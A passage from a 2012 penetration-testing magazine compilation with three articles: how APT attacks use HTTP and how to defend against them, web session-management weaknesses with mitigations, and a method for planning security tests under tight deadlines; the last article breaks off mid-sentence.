Not a week goes by without a an organization being
compromised via HTTP:
• Playstation Network (Sony) -> Wordpress version
problem
• MySQL (Oracle) -> SQL Injection
• RSA (EMC) -> SQL Injection
• TJX -> SQL Injection
The above attacks, conceived and carried out with
precise attention to logistics, are by no means an
innovation, but we now refer to them differently, using
the term APT: Advanced Persistent Threat.
Bolstered cyber-activity, the discovery of intrusion and
updated legislation entailing mandatory declaration of
incidents collectively lead to extensive media coverage,
which in turn amplifies the impact on the image of the
unfortunate victims that are more often than not high-
profile businesses or international organizations.

THE BEST OF 01/2012 Page 154 http://pentestmag.com

Anatomy of an APT
Advanced Persistent Threats are attacks calculated for
latent effect and vested with a specific purpose, that of
retrieving sensitive or critical data.
Several steps are necessary to reach the goal:
• The initial intrusion
• Continued presence within the IT system
• Bounce mechanism and in depth infiltration
• Data extraction
HTTP plays an important role during the attacks,
firstly because it is predominantly present during the
various stages, and furthermore because it is often
the only available protocol that can serve as an attack
vector.
The Initial Intrusion
The system is invaded by an attack focused on an area
exposed to the public on the Internet. In the case of
Sony Playstation Network for instance, the intrusion
took place via their blog that used a vulnerable version
of WordPress.
These days it is unusual for any organization to do
without a website, and the latter can range from basic
and simple to complex and dynamic.
The website plays the role of a gateway that provides
the initial point of entry into an infrastructure. It becomes
an outpost that enables important information to be
gathered in order to successfully carry out the rest of
the attack. In addition, depending on the application
infrastructure location and lack of compartmentalization,
it is possible for a simple, scarcely-used application to
be found near or on the same server as a business
application. The attack will bounce from the one to
the other, and the business application which will
then become accessible and provide more access
privileges.
Retrieval of information is often the vital issue during
the bounce mechanism and and extended infiltration
intothe system. Some examples of the data targeted:
• User Passwords
• Hardware and network destinations -> discovery
• Connectors to other systems -> new protocols
• Etc.
Continued presence
After the initial inroads into the structure the next phase
requires that presence within the system remains
secure. The machine has to be re-accessed and
exploited without arousing the suspicions of system
administrators.
THE BEST OF 01/2012 Page 155
The use of HTTP may be required because different
areas are often filtered out, leaving only necessary
protocols to emerge. HTTP is often left open to allow
administrators to navigate through these machines, or
to update them.
To remain as stealthy as possible, a strategic backdoor
to the Web application or the application server will use
HTTP as a direct connection and / or as a tunnel to
other applications. During the movement it will not be
filtered and no attention will be drawn to a process that
opens a port unknown to the system.
Bounce Mechanisms
Whenever changes occur witin an IT system, the steps
involving initial intrusion and continued presence are
repeated as many times as necessary until it the goal is
attained and sensitive data becomes accessible.
HTTP once again comes into play during these stages
of development because it is predominantly active and
open between the different areas:
• Dialogue between server applications
• Web Services
• Web Administration Interface
• Etc.
It often happens that security policies contain the
same weaknesses from one area to another:
• Exit ports opened
• Filtering omission on higher level ports
• Use of the same default passwords
Data Extraction
Once crucial information is reached, it is necessary
to quit the system as discreetly as possible and
over a certain length of time. HTTP protocol is often
enabled for exit without being monitored for several
reasons:
• Machines are often updated using HTTP
• When an administrator logs on to a remote
machine, he will often require access to a website
• Since these areas are often regarded as „safe”
zones, restrictions are lower and controls less strict
What Protective Measures Can Be Deployed?
Application security has become major issue in the
business world. Whereas network security is fairly
conventional and primarily leans on the filtering of
destinations, sources, IP and Ports in most cases,
application security is more complex and involves
applications that are often unique, bespoke and
http://pentestmag.com
 WEB APP PENTESTING
deployed with many more specifications relating to
infrastructure.
Three steps are necessary to prevent or respond
properly to an APT:
• Prevention
• Response
• Forensics
Prevention
Ideally, security should be addressed at the very
beginning, when software and even the application
infrastructure are still at the conception stage. It is
necessary to follow certain rules which will condition the
response to different threats.
Define a Secure Application Infrastructure
Partition the Network
This measure is one of the pillars of the PCI-DSS and
for good reason. Keeping sections separate can limit
the impact of an intrusion, making it more difficult to
obtainsatisfaction because of the large number of
bounces required to attain sensitive data. Each zone
also deploys a security policy adapted to its content,
whether the flow is inbound or outbound.
Moreover, partitioning allows for easier forensic
analysis in case of a compromise. It is easier to
understand the steps and measure the impact and the
depth of the attack when one is able to analyze each
area separately. Unfortunately, there are many systems,
described as flat infrastructures, that contain a variety of
applications housed in the same area. After an incident
has occurred, it is difficult to determine precisely which
applications have been compromised and what data
has been hijacked.
Separation of Applications
Applications can be separated using criteria such as
data categorization or the level of risk attached to the
application. Clustering provides numerous advantages:
• It promotes rationalization in the design of
security policies, which are more or less complex
depending on the type of data and the structure of
the application to secure
• It enhances understanding of an attack and by
doing so facilitates the search for evidence which
will then be based on the criticality of data and
complexity of applications
Anticipate Possible Outcomes
To better understand the scope of an attack, it is
necessary to anticipate the options available to a
THE BEST OF 01/2012 Page 156
hacker once an application has been compromised.
Once this is done, it is necessary to anticipate the
procedures required to analyze, verify and understand
the attack. We should bear in mind that an area of
the infrastructure in which it is impossible to install a
monitoring tool will be very complex to analyze during
an incident. In such a case, it is necessary to predefine
the tools and procedures for investigations and / or
monitoring.
Risk analysis and attack guidelines
This step allows a precise understanding of risks based
on the data manipulated by applications.
It has to be carried out by studying web applications,
their operation and business logic.
Once each data component has been identified, it is
possible to draw up a list of rules and regulations that
need to be followed by the application infrastructure.
Developer Training
Applications are commonly developed following specific
business imperatives, and often with the added stress
of meeting availability deadlines. Developers do not
place security high up on their list of priorities, and it is
often overlooked in the process.
However, there are several ways to significantly
reduce risk:
• Raising developer awareness of application attacks
• OWASP TOP10
• WASC TC v2
• The use of libraries to filter input
• Libraries are available for all languages
• Setting up audit functions, logs and traceability
• Accurate analysis of how the application works
Regular Auditing
Code analysis
You can resort to manual code analysis by an auditor, or
to automated analysis by using the tools available to find
vulnerabilities in the source code of web applications.
These tools often require complex configuration. This
step is useful to detect vulnerabilities before going
into production, and thus to fix them before they are
exploited.
Unfortunately, the practice is only possible if you have
access to the source code of the application. Closed
source software packages cannot be analyzed.
Scanning and penetration testing
All applications can be scanned and pentested. They
also require configuration and / or a thorough analysis of
the application to determine the credentials necessary
http://pentestmag.com
for navigation or resources to be avoided because of
their capacity to cause significant damage (eg. links
enabling the deletion of entries in the database).
These tests have to be reproduced as often as
possible, and whenever a change in the application is
put in place by developers.
Appropriate Response
Traditional firewalls do not filter network application
protocols, at best, the so-called next-generation model
can recognize a type of protocol and filter content in the
manner of an IPS, by recognizing attack patterns. This
response is clearly inadequate.
Each zone containing web applications has to be
filtered on incoming and outgoing content and on the
use of the protocol itself.
This type of deployment is often called deep defense
and has the ability to monitor the various attacks at both
the application and network levels.
Last but not least, the association of the identity
context with security policy allows better detection of
anomalies.
Traffic Filtering:
The WAF (Web Application Firewall)
Web application firewalls can be considered as an
extension of application network firewalls. They are
able to analyze HTTP and the content it conveys. The
device is strongly recommended by section 6.6 of PCI-
DSS.
Often used in reverse proxy mode, it allows for a
break in protocol and facilitates the restructuring of
areas between applications.
The WAFEC document (Web Application Firewall
Evaluation Criteria) published by WASC is a useful
guideline that helps to understand and evaluate different
vendors as needed.
The WAF also helps to monitor and alert in case of
threat in order to trigger a rapid response (eg blocking
the IP of the attacker via a dialogue protocol with
network firewalls).
Traffic Filtering:
The WSF (Web Services Firewall)
It represents an extension of the WAF on the protocols
carrying XML traffic over HTTP, such as SOAP or
REST.
XML and its standards make security management
easier in the sense that the operation of the service
is described by documents generated directly by the
development framework (eg WSDL, Schemas).
Web services are vulnerable to the same attacks as
web applications; they consequently need the same
THE BEST OF 01/2012 Page 157
kind of protection. Their position in the application
infrastructure however is much more critical. They are
often located at the heart of sensitive information zones,
and connected directly via private links to partner
infrastructures.
The WSF provides security on the message format
and content, but also on the use of a service. The use
or production of a web service entails contract between
two parties on the type of use (eg. number of messages
per day, data type etc.). The WSF will also serve to
monitor this function and to ensure respect of SLA
between the two parties.
Authentication, Authorization
Applications use identities to control access to various
resources and functions.
The association of the identity context and security
increases efficiency in the detection of anomalies. For
example, a whitelist adapted according to the type of
user can verify access to information based on user
role.
Ensuring Continuity of Service
Application security is primarily related to the
exploitation of vulnerabilities in order to divert normal
use for malicious purposes.
However, some attacks based on weaknesses can
be devastating in effect, perpetrated to make the
application unavailable, and thereby provoke losses
due to activity downtime.
To retaliate, it is necessary to establish protective
measures that block denial of service and automated
processes, and to ensure load balancing and SSL
acceleration.
Operation
Monitoring
It is important to understand the use of the application
during production, to monitor and detect abnormal
behavior, and make decisions accordingly:
• Blacklist
• Legal Action
• Redirection to a honeypot
Log Correlation
Understanding abnormal behavior in an application
helps in locating an attack.
An application infrastructure can comprise hundreds
of applications.
To understand the attack as a whole and monitor
changes (discovery, aggression, compromise), it is
necessary to have holistic view.
http://pentestmag.com
 WEB APP PENTESTING
To do this, it is imperative to confront and correlate
logs correlation to obtain real-time overall analysis and
understand the threat mechanics.
• Mass Attack on a type of application
• Attack targeting a specific application
• Attacks focused on a type of data
Reporting and Alerting
The dialogue between application, network and security
teams is often complex within an organization. Formalized
reports on attacks and the use of the application provide
a basis for work and an understanding of application
threats for these teams.
Alerts will enable them to react and trigger procedures,
either at the network level by blocking the IP of the
attacker, or at the application level by forbidding access
to resources / areas, or more directly by referral to
a honeypot in view of analyzing the behavior of the
attacker.
Forensics
Understanding the scope of an attack
For each area compromised, it is important to
understand what elements have been impacted, and
to trace the attack to the roots of the intrusion and
compromise by the installation of a backdoor, bounce
mechanisms to other areas and / or extraction of data.
Analysis of application components
To understand how the intrusion occurred, it is
important to look for abnormal uses. One example could
be the presence of anomalous data in a variable, a
cookie. To drill down to this level, the logs of the various
application components turn out to be very useful:
• Web server or application
• Database
• Directory
• Etc.
Systems Analysis
To understand how the attacker remained in the area, it
is important to identify the type of backdoor used. From
the simplest act such as the placing an executable file
in the application itself, to the injection of code into a
process (eg hook network functions), it is necessary to
analyze the system hosting the application.
• Changed configuration files
• Users added
• Security rules changed
• Errors of execution or increase in privileges
THE BEST OF 01/2012 Page 158
• Unknown daemons or unusual groups and users
• Etc.
Analysis of network equipment
During the various bounces within the application
infrastructure, the discovery and exploration of new
possibilities leaves fingerprints. Network firewalls keep
precious logs with traces of these attempts. In addition,
if access is logged, it is important to check if there are
connections to web applications at unusual times.
The End justifies the Means
In conclusion we can see that the means used to
achieve an APT are often substantial and proportional
to the criticality of targeted data. APT are not just
temporary attacks, but real and constant threats with
latent effect that need to fought in the long run.
The security of an application infrastructure begins
with the conception process and requires basic rules to
be respected to simply security operations.
Real-life experience of application management
highlights difficulties in implementing all the good
practices.
A comprehensive study of threats, appropriate
response and anticipation of possible incidents are now
the recommended procedure in dealing with application
attacks.
MATTHIEU ESTRADE
Matthieu Estrade has 14 years experience in internet security.
In 2001 Matthieu designed a pioneering application �rewall
based on Web Reverse Proxy Technology for the company
Axiliance. As a well known specialist in his �eld he soon
became a member of the Open Source Apache HTTP server
development team. His security expertise has been put to
contribution in WASC (Web Application Security Consortium)
projects like WAFEC and WASSEC. Matthieu is also a member
of the French OWASP chapter. Matthieu is currently CTO at
BeeWare.
http://pentestmag.com
 WEB APP PENTESTING

Web Session
Management
– Reality is a nightmare!

Session Management is fundamentally a process of keeping track

of a user’s activity across multiple connections or interactions with
the machine.

I
n web based applications, the primary protocol is • Cookie transfers and information disclosure
HTTP which we all know is a stateless protocol. • Session Expiration timelines
It means instead of relying on the established • Session handling when a user logs out
TCP connections for anything more than
GET/POST request, we need a session
management to make this stateless
protocol support session states.
On a broad spectrum following are the
primary identifiers that support and/or
manage the established session between
the server and the client,

• Session ID
• Cookie Values/Parameters

A browser can maintain the state

information in an HTTP session
with Cookies, URL rewriting, Codes
(Challenge/Response), Hidden form
fields (SessionID) etc. (Figure 1).
In scope of this article, and real world
scenarios, I will target the SessionID
and Cookie parameters of different
requests. Here are some ideal conditions
and requirements for the web session
management, and should always be
thought upon before deploying a web
application on the production servers, Figure 1. HTTP Sesion

THE BEST OF 01/2012 Page 160 http://pentestmag.com


Figure 2. Traverse on an unencrypted channel
A pentester can look for these flaws and vulnerabilities
while accessing such web application. It is very
important to validate the session management in
a critical application, as it can lead an attacker to
gain control of a session even without having any
information of the credentials. Once the basics of
session management have been explained with real
world examples, the article will also document the
protection measures (or workarounds) to fix such kind
of vulnerabilities.
Disclaimer
This article may reflect certain flaws in some real
world applications, but should not be considered as a
vulnerability disclosure for the respective vendors. To
protect the identity, I will mask the domains wherever
necessary.
Figure 3. Authentication cookie sent to encrypted channel
THE BEST OF 01/2012
Case Study – Social Networking Portals
Here are some real world scenarios for social
networking portals which are a nightmare to web based
session management.
Cookie Transfer Channel
We all are very well aware of the HTTPS channel which
is being deployed for password and authentication
measures. Whenever we authenticate, the password
and the required credentials pass on the secure (SSL/
TLS) channels. But, after the authentication, the equally
important cookies (session authentication validation)
traverse on an unencrypted channel (Figure 2). It
means, sniff the cookies and you have the session if it
is not mapped to IP address, browser or any client side
directives.
In ideal conditions, the authentication cookie should
always be sent on the encrypted channel (Figure 3).
But, most of the social networking portals and even
other web sites deliver the cookies on HTTP during
some data exchange on the channel (Figure 2 and
Figure 4).
Session Expiration Timelines
Session expiration is an important factor when it comes
to session hijacking. Even though it also requires
intermediate effort of sniffing the session cookies, but
a brief search of cookies on any search engine, may
sometimes direct you to the pages where the naive
users have pasted their cookies to sort some technical
issues in authentication. If the expiration is not on time,
an attacker can get your session by importing such
cookies. (Figure 4 and Figure 5)
As we can see that in these popular social networking
& dining websites, the cookies are not handled securely.
There are expiration issues, transfer issues, and even
cookie randomness issue (Figure 4). As shown in Figure
4, the cookie value is constant and this is a serious
Page 161 http://pentestmag.com
 WEB APP PENTESTING
issue. Every time the user logs in, the web application
allots the same cookie value to the browser session.
Session Log Out
What happens when a user logs out? Ideally the cookie
should also expire with session log out. But, it is evident
that cookie still persists and is valid. On successive
login, the web application allots a new cookie, but the
old cookie is still valid till the date of its expiry. This is a
serious security configuration issue.
Any attacker if successfully manages to sniff the
cookies, can hijack the session even if the user has
logged out of his/her session.
Common Vulnerabilities
What if there are flaws in session management? What
are the common vulnerabilities or a administrator’s
nightmare?
a) Failure to protect the session data
Session Manipulation
Session Manipulation is a very simple kind of attack
in which an attacker can modify the parameters of the
session via the cookies, and can send it back to the
server.
Workaround
It can be protected by using encryption, and by limiting
the amount of data sent to the client.
Figure 4. Cookie import
Figure 5. Cookie import
THE BEST OF 01/2012
Session Enumeration
Session Enumeration is possible when it is fairly easy
to guess the session ids and it can be due to their
sequential nature, or easy encryption policies. If an
attacker can derive a session ID, he can impersonate
as other users via valid sessions.
Workaround
It can be fixed by deploying powerful encryption
algorithms, and randomness involved in session
tokens.
Session Fixation
Session fixation is more of a social engineering
attack where an attacker sends a URL with the
target site and once they login, an attacker will get to
know the Session ID they are using. This is possible
when a session ID is imported via requests in URL
parameters. So, a forged URL to the target website
will allow the victim to set a session ID of attacker’s
choice.
Workaround
It can be protected by issuing a new session ID when
the user changes the authentication state, and by being
more aware of not accepting any session ID that is not
created by your application.
b) Failure to clean up when the user logs out of the
session:
Page 162 http://pentestmag.com
Session Expiration
Session lifetime is very important and if not properly
configured, it can lead an attacker to have a larger
attack window to try different session based attacks.
Workaround
To protect this kind of vulnerability, de-authenticate
sessions after a certain period of inactivity. Even a well
configured application can force re-authentication, or
re-issue of cookies on session time-outs.
Broken Logout
As evident from the examples above, it is very
necessary for a session to close when a user logs out
of the session. It is scary over public networks, or cyber
café! The regular steps of deleting the session cookie is
not sufficient and nor closing the browser window.
Workaround
The basic protection against such vulnerabilities
involves the invalidating the cookies, and session on
logout so as any attacker importing the same cookies
should not validate the session.
Generic Mitigations
Here are some generic mitigation checks that are
independent of the application type, code and design:
Compartmentalization
Breaking the website down into separate compartments
is a wise precaution. If done correctly, this means that
flaws discovered in one compartment will not affect
the security of any other. For example, a website may
have a secure area for account administration and
another logged in area which is a discussion forum. If
a flaw were discovered in the forum software, the aim
would be for this not to affect the security of account
administration.
Compartmentalization in this manner protects against
web attacks like XSS. However, if the two compartments
are running on the same server then it does not protect
against back-end attacks, such as SQL injection or buffer
overruns. Depending on the perceived threats it may be
desirable to enforce further compartmentalization, e.g.
separate physical hardware.
Extra Authentication (Sensitive Operations)
In many applications some operations are particularly
sensitive. For example, in a banking application
the send money operation needs to be protecting
most of all. One option to achieve this is to require
extra authentication for the sensitive operation. The
authentication could take any form – re-authentication
THE BEST OF 01/2012 Page 163
or 2-factor authentication. But if 2-factor is too much
overhead for social networking or non ecommerce
websites, re-auth can still be taken into account.
This is effective in that it completely protects the
operation against an attacker who has compromised
the session management system, but does not know
the password. However, this protection must be
used judiciously, as every password entry provides
an opportunity for the password to be captured if
transferred on an unsecured HTTP channel or open un-
trusted public networks.
One operation that must be protected in this way is the
change password function. Without this protection, an
attacker who has compromised session management
can easily escalate this to knowing the password, i.e.
full access.
Timeout and Logout
An important feature to provide is a reliable logout
function. When the user selects this, they know that
as long as their password was not captured, no further
access will be allowed to their account. As previously
discussed, a major motivation for using a session ID is so
this can be invalidated at the server, rather than relying
on the browser to remove the password from memory.
Another common mitigation is to place a time
limit on a session ID. Most bank websites have an
inactivity timeout that invalidates a session ID after,
say, 5 minutes of inactivity. This is a good idea, but I
believe it is also important to have an absolute timeout,
perhaps forcing re-authentication every four hours. If
there is only an inactivity timeout, then an attacker who
has stolen the session ID can keep it valid by making
periodic requests.
IP Address Restrictions
An interesting way to defend session IDs is to restrict
the session to an IP address. While IP address spoofing
is possible, in practice it is very difficult to spoof a TCP
connection from an arbitrary IP address. All the packets
returned from the server will go to the proper IP address.
Unless the attacker controls a network en-route, they
will not be able to read these packets. To establish a
TCP connection, the client must echo a 32-bit random
number correctly to prove they are not spoofing. This
raises the bar considerably for an attacker who has
stolen a session ID.
Unfortunately, there are legitimate reasons a user
may change IP address during a session. It has long
been accepted wisdom that although IP address
restrictions are desirable for security, they cause too
many problems for legitimate users to be used on
production websites.
http://pentestmag.com

References
• http://www.westpoint.ltd.uk/advisories/Paul_Johnston_GSEC.pdf
• http://www.leviathansecurity.com/pdf/Web%20Session%20Management.pdf
Two main reasons for being a skeptic against IP
restrictions,
• Some clients make several requests from one IP
address, and then make several requests from
a second, sometimes with a gap between the
blocks of request. This suggests the end user is
changing IP address, perhaps reconnecting their
modem.
• Some clients make requests from multiple IP
addresses in a small range, seemingly at random.
This suggests that the ISP is using multiple, load-
balanced web proxies. When a user makes a web
request, it may be routed through any one of these
proxies, usually at random.
Conclusion
Having looked at various vulnerabilities and mitigating
steps, here is a conclusive summary of the possible
workarounds.
Summary of Mitigations
We have now looked at all the major attacks against a
session ID cookie login system. Various mitigations are
available, some of which are appropriate for a moderate
security site. Here is a checklist of precautions for
developers to follow:
• Make the session ID a 128-bit cryptographically
secure random number. This prevents anyone
predicting or brute forcing the ID.
• Use the secure and HTTPOnly cookie options, to
prevent theft through XSS and information leakage
over non-SSL requests.
• Disable the TRACE/TRACK HTTP methods, to
prevent HttpOnly being circumvented.
• Change session IDs at login time, or alternatively
only issue them at that point. This prevents session
fixation attacks.
• Ensure all requests that cause a data change on
the server use a random authorization token, to
prevent CSRF attacks.
• Provide a logout function that invalidates the
session ID on the server.
• Put time limits on session IDs to reduce impact of
theft – both inactivity and absolute timeouts.
• Separate large sites into compartments, which use
different domain names.
THE BEST OF 01/2012
WEB APP PENTESTING
• To prevent brute force password guessing, enforce
a strong password policy, do not leak the existence
of user names and implement some failed login
limits.
A pentester can keep such a checklist as a benchmark
option for web applications, but remember: the
checklist alone is not enough. It is always necessary
and expected from a pentester to be effective in
impromptu situations and bring something out of the
box.
RISHI NARANG
Rishi Narang is currently working as
Lead Vulnerability Research Engineer
for Qualys Inc. He has about 7 years
of experience which includes research
on vulnerabilities, malware, protocol
analysis, evolving attack vectors and
signature development for network &
host based IDS/IPS products.
In the past, he has served as Senior
Consultant at Deloitte & Touché and Security Researcher
with Trend Micro. He holds a B.Tech degree in Information
Technology, CEH and CCNA certi�cations and has been a part
of SuSE, Red Hat & Ethical Hacking trainings in different parts
of the country.
Among his key public disclosures, he has been responsible
for LinkedIn vulnerability and �rst Google Chrome exploit.
He has been quoted by Reuters, Forbes, eWeek, CNET,
InformationWeek, The Register and many other main stream
media. He has been an author and advisor for Hakin9
and PenTest magazines. He has been a speaker at OWASP
(Mumbai Chapter, India), Bangalore Cyber Security Summit
and eSurakshit conference in India.
He can be reached via Twitter (@rnarang) or
rishi@wtfuzz.com.
Page 164 http://pentestmag.com
 WEB APP PENTESTING

Modeling Security
Penetration Tests with Stringent Time Constraints

At XBOSoft, it often happens that our clients decide to do security

testing late in their test cycle, after we have finished the regular
functionality or performance tests. With time often the most
important constraint, how to best execute these security tests
depends on many factors.

I
n order to create a test strategy that allows us to
execute security tests with enough coverage in
the given time frame we created the Modeling,
Planning, Execution, and Analysis (MPEA) approach.
MPEA divides the penetration testing into four phases,
allowing us to implement the tests more effectively and
efficiently:
Determining Project Objectives
We usually see two types of stakeholders: managers
and developers, both expecting something different.
Managers want to know whether the product is secure
or how secure it is, whereas developers want to know
exactly where the flaws are located in the system. To
satisfy both, our test objectives should include:

• Modeling phase: Deliver a risk profile that can be
used as input for the activities of the remainder of
the project. The profile contains the scope of the
tests and the stop criteria
• Planning: Deliver the test strategy and the test plan
• Execution: Execute the penetration and deliver the
tests results according to the test plan
• Analysis: Analyze the test results and deliver a
report
This article discusses the modeling aspect of our
approach and will explain how to best model security
projects with little time, including:
• Determining Project Objectives
• Modeling goal
• Gathering System Information
• Developing a Risk Profile
• Testing tools or manual testing
• Vulnerability Investigation-Stop Criteria
• A high level summary that explains the general
state of the security of the system. Managers
need this to answer the question: Am I looking at
a fundamental flaw that stops going live or do we
have a generally faulty build process that needs
tidying up? Satisfying management’s objectives
should be done through easy to read and
understand graphs and charts.
• For developers we recommend a tabular list of
issues including a title, a description, a list of hosts
affected, an estimation of severity and a suggested
fix or workaround.
The estimation of severity could be as simple as high/
medium/low, or include more detail such as: ease of
exploit, complexity to fix and the extent of resulting
compromise. Ease of exploit plays back into the model
so that developers can see if they need to worry
about the issue, complexity to fix plays into the risk
management decision on going live and the extent of

THE BEST OF 01/2012 Page 166 http://pentestmag.com

resulting compromise is used to drive behaviors from
non-security team members who may not understand
the problem’s severity.
Modeling goal
The goal of the modeling phase is to develop a risk profile
as described below which can be used to evaluate the
system’s security. The profile should include:
• System Information, a description of the system, listing
all the services and applications the system uses
• Potential vulnerability types the system may
encounter, prioritized by the impacts it may cause.
• Stop criteria, describe the criteria of terminating the
task
• Tools list, for both gathering information and
exploiting each type of vulnerability
• Other QA tools or supporting tools, such as tools to
record the desktop or tools to record the operations
the testers execute
With time constraints, the output of the modeling phase
significantly impacts the remainder of the project. A
complete and good modeling profile will save time for
critical exploits, as it clearly identifies the test scope
and prioritizes the test activities so that testers will not
waste time on unnecessary tests. Hence, modeling
precedes planning.
Gathering System Information
Security vulnerabilities are usually related to technique
and logic. To develop a complete model, some additional
information should be considered as compared to
traditional penetration tests. It is worth spending more
time on gathering information even in a situation where
you have limited time because it will save you a lot of
time later when planning and executing tests. Make sure
you complete a thorough information gathering phase
delineating as many risk sources as possible, thereby
enabling you to prioritize your efforts later in the process
Some security testing proponents start gathering
information with a scan tool to get the server information,
services running on the server and finally get the whole
map of the system. But that is not enough for simulating
malicious attacks, especially those from the system’s
end users. Sources of attacks are from three different
roles of the system.
• External anonymous hackers, who intend to break
in the system
• External malicious system users, who use the
features of the system to do harm to the system, or
exploit the system for their benefit in some way
THE BEST OF 01/2012 Page 167
• Internal malicious users, who can attack the system
from inside the intranet, often as employees and
administrators of the system
The output for this phase should include:
• Network Map
• Operation system information
• Services Provided
• Intermediary Devices
• 3rd party Applications
• Features of systems
The first four items are often mentioned as common
ways for external anonymous hackers to break into a
system. And information of the last two items should
be collected also, for they are quite easy to exploit and
more and more hackers are knowledgeable of using
these resources.
The 3rd party applications that we should be aware of
are documentation applications and plug-in applications,
some of which are not well tested for security. But even
for well tested applications, new security flaws are
continuously reported by researchers, such as MS
Office remote execution flaws. In one month, over 30
security flaws reports regarding well-known applications
including Adobe applications, .Net Framework, Office
applications, and Mozilla applications can be found
on the security bulletin pages of their official web sites.
And per statistics by Kaspersky in 20101, top 20 found
vulnerabilities, 89.6% of overall vulnerabilities, were
contributed by Microsoft Office and XML Core Services,
Sun Java JDK/JRE, Adobe Flash Player, Acrobat/
Reader and ACDSee.
Poorly designed or developed features may also cause
security risks. Through these types of vulnerabilities, a
malicious user can obtain sensitive information and
harm or even break into the system. Most frequently
encountered problems in our work include:
• Information leakage from features
• Feature abuse
A functionality expert of the software under test should
check whether all functionality has been considered by
the model. For example, if mail functionality has been
overlooked in listing out all functions, it could overlook
possible attacks like SMTP injections. Another
example could be directory access functions which
could lead to LDAP injections in special fields not
modeled in your profile because services scanning on
a local server could not find those when using remote
services.
http://pentestmag.com
 WEB APP PENTESTING
Developing a Risk Profile
Section I Listing Risks-Vulnerabilities
The vulnerabilities list should include those related to
the application and the environment. The vulnerabilities
are divided to followings parts:
• Common vulnerabilities:
• Authentication Problems
• Authorization Problems
• Cookie Problems
• SQL Injections
• XSS Attacks
• Denial of Services
• Incorrect share and file permissions
• 3rd party application security flaws.
• On the official web site of a 3rd party application,
the security flaws are usually published
• On websites dedicated to security , the security
flaws of some 3rd party applications are
published
• Vulnerabilities related to special features
Besides the most often occurring vulnerabilities,
vulnerabilities that are related to certain features
should also be listed. Figure 1 is an example of
specific features and potential risks associated with
them.
• Vulnerabilities related to logic defects
Figure 1. Mapping risks to features
THE BEST OF 01/2012 Page 168
We should also include less common, but still very
critical risks. These risks are difficult to assess
because they are related to the actual deployment
environment and the users’ habits. These may include:
Unverified terminals
This phenomenon occurs when someone takes his own
computer into the office. With this computer, users can
penetrate the system if the MAC or IP address is not
well filtered.
Old servers
A server that is not often used but may be running
some programs without any vendor security patches,
or IT administrators simply forget about them and
do not add the patch onto the servers. In addition,
older operating systems will contain many security
vulnerabilities.
Legacy Programs
Security vulnerabilities exist in all types of software. In
our daily use of any older versions of office software,
they may not contain needed security patches and
important security upgrades.
Corporate Employees and the local administrator
These internal risks are very critical because they
know the system and often understand both security
holes and the events that may open up these
vulnerabilities.
Administrator Authorization
Most administrators are accustomed to use super
administrator to login into the system. This practice is
dangerous as mis-distributing the authority of the super
administrator can lead to many problems.
Figure 2. Vulnerability frequency assessment
http://pentestmag.com
VPN Client
Many employees use their home computer or laptop
on the road to access the company’s VPN. Once these
computers access the company’s VPN, the security
vulnerabilities that exist in their personal access will
spread through the VPN.
Section II. Prioritizing Risks
With time constraints, we need to prioritize as we
cannot execute all penetration. Prioritizing risks can
be done using different weighting models according
to preference. At XBOSoft we do this by assessing the
likelihood of potential exploits and the impact of these
exploits if they should occur.
To determine the possibility, we maintain a matrix that
the states the frequency of different vulnerabilities in
different types of products. Following figure shows the
top eight in our matrix.
Prioritizing vulnerabilities (and the effort that should
be spent to eliminate them) should be done according
to:
• The type of application and its usage, as well as
the vulnerability’s reputation. For example, the
well-known XSS vulnerability is not so critical to
a news web site, but compared to a healthcare
application, where patient data needs to be kept
secure, information leakage and its priority will be
different.
• The potential impact. The potential impact is used
to describe the severity of the vulnerability and its
relativity. Relative severity definitions can be found
at, for example, PCI DSS2.
Section III Test Scope Strategy
The test scope should be drafted into different phases
as depicted in Figure 3.
• Phase 1 includes those that can be completed
easily without deep penetration testing.
• Put the easy-to-find vulnerabilities into phase 1
no matter the priority as these will not take a lot of
time
• High priority vulnerabilities should be finished in
phase 1 and phase 2.
• The first two phases contain the majority of the
penetration tests and should always be executed.
• Ad-hoc testing is carried out to avoid leakage
and should be executed in phase 2 and 3 by
experienced team members simulating end users.
High priority vulnerabilities should be executed in
phase 2 including tool supported tests and manual
exploits.
THE BEST OF 01/2012 Page 169
• Phase 3 should used to exploit medium priority
risks while phase 4 for low priority ones.
Testing tools or manual testing
Choosing tools can also be a challenge. We should
use tools as much as possible to save time. On the
other hand we cannot completely trust the tools as they
sometimes can be unreliable. According to different
types of vulnerabilities, the tools should be applied
separately:
• For logic-related defects, manual penetration is
necessary. Many tools will support the investigation
to get/post http messages.
• Popular security vulnerabilities are covered by
commercial scanning tools, like AppScan and
WebInspect. These commercial tools can scan
for common vulnerabilities while specific tools
can be used for more definitive for well-known
vulnerabilities. Use tools to exploit these kinds of
common vulnerabilities.
• Special vulnerabilities of 3rd party applications are
covered by some software developed by security
software companies like MS05-051 Scan from
McAfee for Vulnerabilities in MSDTC and COM+.
Specific tools are also could be found on official
web sites of 3rd party applications or security
communities.
In addition, tools can be divided into two categories:
specific use for one type of vulnerability and multi-use
for several security vulnerabilities. Here is a strategy to
save time and money in allocating time and resources
for using these tools:
• At least one multi-vulnerability scanning tool should
be used if you have budget to get one as they
can be quite expensive. Run the tool to scan the
application once or twice to get a whole picture. Do
Figure 3. Test scope phased strategy
http://pentestmag.com
 WEB APP PENTESTING
References
• Kaspersky Security Bulletins 2010, Statistics, 2010, http://www.securelist.com/en/analysis/204792162/Kaspersky_Security_Bulle-
tin_2010_Statistics_2010
• PCI DSS, https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml

not spend too much time on analyzing the reports,
since often you may find the reports from different
test executions may be different. The differences
may be caused by server status, user status, tool’s
bugs, making investigating them quite complicated.
For minor problems raised by this kind of tools,
such as sensitive information leakage risks, go
through them quickly. For the critical/medium
problems, leave them to specific tools or manual
penetration tests.
• For each of the common vulnerabilities, a specific
tool should be prepared to complement the
commercial multi-vulnerability scanners mentioned
above as they sometimes cannot cover every
corner of the application. We once manually
discovered an SQL injection flaw which located in
a textbox that was not found by multi-vulnerability
scanners. So specific tools, even manual tests,
should be applied for specific vulnerability types.
• For uncommon vulnerabilities, many organizations
provide specific tools. For instance, SSL testing
via McAfee and AJAX from OWASP. If a well
developed tool cannot be found, don’t try to
develop one because this will usually take a lot of
time. The best choice is to manually investigate the
vulnerability.
As a tip, after discovering a critical vulnerability,
manually reproducing them is necessary in order to
completely understand the flaw and the severity in
a real situation. We once over-assessed a flaw as
critical, but actually it should have been characterized
as low priority because the flaw was blocked in a real
usage situation and not critical.
exists, then there is no need for more investigation. For
example, I will not try to break a Windows system when
I get a SQL server account on that server because I
